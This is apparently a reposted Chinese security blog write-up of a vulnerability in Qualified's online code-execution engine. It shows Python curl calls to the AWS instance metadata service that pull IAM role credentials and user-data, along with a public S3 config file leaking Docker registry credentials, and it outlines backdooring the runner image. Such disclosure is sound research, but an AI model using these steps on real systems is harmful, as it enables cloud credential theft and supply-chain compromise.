利用SSRF漏洞滥用AWS元数据服务

VSole2022-07-06 16:00:16

写在前面

最近在研究在 Docker 容器中执行不受信任的 Python 代码会出现什么反应。在研究过程中我测试了几个在线代码执行引擎,以了解它们对各种攻击的反应。在此过程总,我在Qualified开发的代码执行引擎中发现了几个有趣的漏洞。

Qualified 被广泛使用,包括CodeWars 或InterviewCake等网站。能够运行代码与网络访问,且在 Amazon Web Services 中运行。

漏洞细节

如果您浏览 InterviewCake 的留言页面,您会在页面底部找到一个小区域,您可以在其中输入和执行代码。

我们可以使用以下 Python 代码来运行任何 bash 命令:

os.system( "命令" )

简单挖掘后,我们可以看到每次运行时主机名都会发生变化,并且 init进程在以下控制组下运行:

9:perf_event:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341 8:memory:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341 7:hugetlb:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341 ...

根据上述查到的信息,可以推断:代码很大可能是在Docker 容器中运行。这些容器似乎可以访问 Internet,因此我们可以轻松地检查它们的公共 IP 是什么,例如使用非常方便的 IfConfig.co服务。

相关命令如下:

import osos.system("curl ifconfig.co")

如果我们进行反向 DNS 查找,我们可以看到这个 IP 属于 AWS EC2:

$ nslookup 107.20.17.162Non-authoritative answer:162.17.20.107.in-addr.arpa name = ec2-107-20-17-162.compute-1.amazonaws.com.

如果不了解AWS EC2,可以把它看作是一项类似于 DigitalOcean 的服务,可让您在云中生成虚拟机。

利用过程

AWS EC2 有一个称为 实例元数据服务(官方文档)的功能。这使任何 EC2 实例都可以访问在 169.254.169.254 上运行的 REST API,该 API 返回有关实例本身的数据。一些示例包括实例名称、实例映像 (AMI) ID 和一堆其他有趣的东西。

由于我们的代码似乎在 EC2 实例上运行(或者更具体地说,在 EC2 实例上的 Docker 容器中),它可以访问此 API。当输入下述恶意代码时,观察一下返回情况:

import os
def get_endpoint(endpoint):    os.system("curl http:/169.254.169.254" + endpoint)    print()
print("[*] AMI id")get_endpoint("/latest/meta-data/ami-id")
print("[*] Security credentials")get_endpoint("/latest/meta-data/iam/security-credentials/")
print("[*] User script")get_endpoint("/latest/user-data/")

输出如下:

[*] AMI idami-246cc332
[*] Security credentialsecsInstanceRole
[*] User scriptaws s3 cp s3://ecs-conf/ecs.config /etc/ecs/ecs.configaws s3 cp s3://ecs-conf/docker.json /home/ec2-user/.docker/config.jsonaws s3 cp s3://ecs-conf/cloudwatch.credentials /etc/cloudwatch.credentials...echo "pulling latest runner image"docker pull codewars/runner-server:latest...nrsysmond-config --set license_key=999b5f6[...]ac

简单解析一下:

  • AMI id

这是主机使用的标识符 AMI(亚马逊机器映像)。(此处似乎是一个私人的,没有利用价值。)

  • Security credentials

这是附加到机器的 IAM 角色列表。IAM(代表身份访问管理)是 AWS 服务,允许您管理用户、角色和权限。我们在这里看到这个机器被添加了一个角色 ecsInstanceRole,因此可以使用元数据 API 访问该角色的凭据。

这是一种允许您将角色附加到 机器而不是将 AWS API 密钥硬编码到应用程序代码中的机制。我们可以查询 API 以获取关联的凭据:

get_endpoint("/latest/meta-data/iam/security-credentials/ecsInstanceRole")

反馈如下:

{ "Code" : "Success", "LastUpdated" : "2017-03-26T09:59:42Z", "Type" : "AWS-HMAC", "AccessKeyId" : "ASIAIR[redacted]XQ", "SecretAccessKey" : "42oRmJ[redacted]K2IRR", "Token" : "FQoDYXdzEOv//////[redacted]", "Expiration" : "2017-03-26T16:29:16Z"}

使用这些凭证,应用程序(或攻击者)可以使用 AWS API 执行角色 ecsInstanceRole 允许的任何操作。

注:这里ECS代表EC2 Container Service。它(还)是另一项 AWS 服务,可让您轻松地在云中运行 Docker 容器,并抽象出它们的运行方式和运行方式。

当我们深入研究AWS文档,我们很容易发现 ecsInstanceRole是一个默认的 IAM 角色,并附有以下权限:

{ "Version": "2012-10-17",   "Statement": [   {     "Effect": "Allow",     "Action": [       "ecs:CreateCluster",       "ecs:DeregisterContainerInstance",       "ecs:DiscoverPollEndpoint",       "ecs:Poll",       "ecs:RegisterContainerInstance",       "ecs:StartTelemetrySession",       "ecs:Submit*",       "ecr:GetAuthorizationToken",       "ecr:BatchCheckLayerAvailability",       "ecr:GetDownloadUrlForLayer",       "ecr:BatchGetImage",       "logs:CreateLogStream",       "logs:PutLogEvents"     ],   "Resource": "*"   } ]}

因此,这允许我们做很多有趣的事情,包括创建 ECS 集群、从集群中删除 EC2 实例、写入应用程序的日志等。

  • User script

此端点返回一个用户定义的脚本,每次首次启动新的 EC2 实例时都会运行该脚本。此脚本通常用于基本配置,例如更新包、运行服务,并且显然有时用于存储敏感信息(此方式不推荐)。

脚本核心部分如下:

aws s3 cp s3://ecs-conf/ecs.config /etc/ecs/ecs.config...echo "pulling latest runner image"docker pull codewars/runner-server:latest...nrsysmond-config --set license_key=999b5f6[...redacted...]a

浅浅解析一下:

最后一行泄露了 NewRelic 许可证密钥。

尝试查看配置文件:

root@kali:~# aws s3 cp s3://ecs-conf/ecs.config ecs.configdownload: s3://ecs-conf/ecs.config to ./ecs.configroot@kali:~# cat ecs.config
ECS_ENGINE_AUTH_TYPE=dockercfgECS_ENGINE_AUTH_DATA={"https://index.docker.io/v1/":{"auth":"M30s[...redacted...]hV=","email":"deploy@[...redacted...].co"}}

注意:

第一个命令是从 ecs-conf S3 存储桶下载配置文件。使用 AWS CLI 工具,我们注意到即使无法列出存储桶的内容,文件ecs.config 甚至是可公开访问的。

结果解析:

auth参数是一个 base-64 编码的字符串,它解码为 codewarsdeploy :somepassword (密码已被编辑)并允许我们登录到 Qualified! 的私有 Docker 注册表。

总结:

这意味着我们可以检索 Docker 镜像codewars/runner-server,查看里面有什么,在其中包含一个后门/任何恶意软件,然后将其写入注册表。

然后,每当有人在 InterviewCake 上提交解决方案,在 CodeWars 上提出挑战等情境下,都会在 Qualified 的代码执行引擎上进行一次代码执行时,我们的恶意代码便会运行。

awsecs
本作品采用《CC 协议》,转载必须注明作者和本文链接
RSAConference2022将于旧金山时间6月6日召开。大会的Innovation Sandbox(沙盒)大赛作为“安全圈的奥斯卡”,每年都备受瞩目,成为全球网络安全行业技术创新和投资的风向标。 前不久,RSA官方宣布了最终入选创新沙盒的十强初创公司:Araali Networks、BastionZero,Inc.、Cado Security、Cycode、Dasera、Lightspin
RSAConference2022将于旧金山时间6月6日召开。大会的Innovation Sandbox(沙盒)大赛作为“安全圈的奥斯卡”,每年都备受瞩目,成为全球网络安全行业技术创新和投资的风向标。 前不久,RSA官方宣布了最终入选创新沙盒的十强初创公司:Araali Networks、BastionZero,Inc.、Cado Security、Cycode、Dasera、Lightspin
随着Log4Shell漏洞威胁愈演愈烈,为了帮助用户应对该问题,AWS发布了三个热补丁解决方案以监测存在漏洞的Java应用程序和容器,并在运行中安装补丁。Log4Shell影响深远,不容小觑鉴于Log4Shell漏洞的危害迫在眉睫,多数用户已经大规模部署了热补丁,不经意间将容器环境置于危险之中。AWS为每个热补丁解决方案发布了一个修复方案。平台会检测热补丁程序包,并对运行漏洞版本的虚拟机发出警报。
Matano是一款针对AWS的开源安全湖平台,该平台允许我们从各种数据源获取并注入大量和安全以及日志相关的数据,并将其存储到一个开源的Apache Iceberg数据湖中,同时这也方便广大研究人员进行后续的安全数据查询。除此之外,该工具还会创建Python脚本对代码进行实时监测,并会在检测到问题是发出实时警报。
在研究在 Docker 容器中执行不受信任的 Python 代码会出现什么反应的过程中测试了几个在线代码执行引擎,以了解它们对各种攻击的反应。Qualified 被广泛使用,包括CodeWars 或InterviewCake等网站。能够运行代码与网络访问,且在 Amazon Web Services 中运行。
在过去十年中,数字化转型主要是通过采用云服务来推动的,与传统的本地基础设施相比,这些服务提供了无与伦比的敏捷性并缩短了上市时间。大多数组织都投资于公共和混合云架构以保持竞争力,近 94% 的组织至少使用一种云服务。新冠疫情只是加速了向云转移的计划,因为安全、高优先级和IT团队的规模扩大,以满足远程劳动力对IT资源的需求。
云安全审计之所以很重要,是由于它可以帮助组织评估云环境的安全状况,识别和减小数字化应用上云后的安全风险,保护云上重要数据资产的安全,从而实现组织业务的稳定开展。
网络犯罪组织使用一个称为Weave Scope的合法工具,在目标Docker和Kubernetes集群上建立了无文件后门。据研究人员称,TeamTNT网络犯罪团伙卷土重来,他们通过滥用一种名为Weave Scope的合法云监控工具攻击Docker和Kubernetes云实例。但是接下来,攻击者下载并安装 Weave Scope。TeamTNT小组专门研究攻击云,通常使用恶意Docker映像进行攻击,并证明了自己的创新能力。TeamTNT之前也有文档记载在AWS内部署独特且罕见的凭证窃取蠕虫。
2020 年 Tiktok 在美国也租用了近 10 万台服务器据 Business Insider 公布数据,2020 年上半年,字节跳动在美国弗吉尼亚州北部租用了能耗达 53 兆瓦的数据中心。一个机柜,全 1U 设备部署数量一般不超过 16 台,全 2U 设备一般不超过 12 台,全 4U 设备一般 4 到 7 台。要知道 2009 年,虽然智能手机不发达,但是个人 PC 销量已经非常庞大了。CDN 加速,让大众刷抖音,看视频都不再卡。解决 Internet 网络拥塞状况,提高用户访问网站的响应速度。多种加速的方案集合。
可以认为IAM分成两类,一个是AWS提供的IAM,这是一个完整的身份管理系统,但AWS只提供了系统,基于该系统的配置及信息维护,由客户完全负责。AWS 提供了虚拟网络及其之上的VPC,子网,ACL,安全组等,客户需要准确设计配置自己的网络,以确保正确的隔离和防护。用户控制权限的修改通常由特权用户或者管理员组实现。
VSole
网络安全专家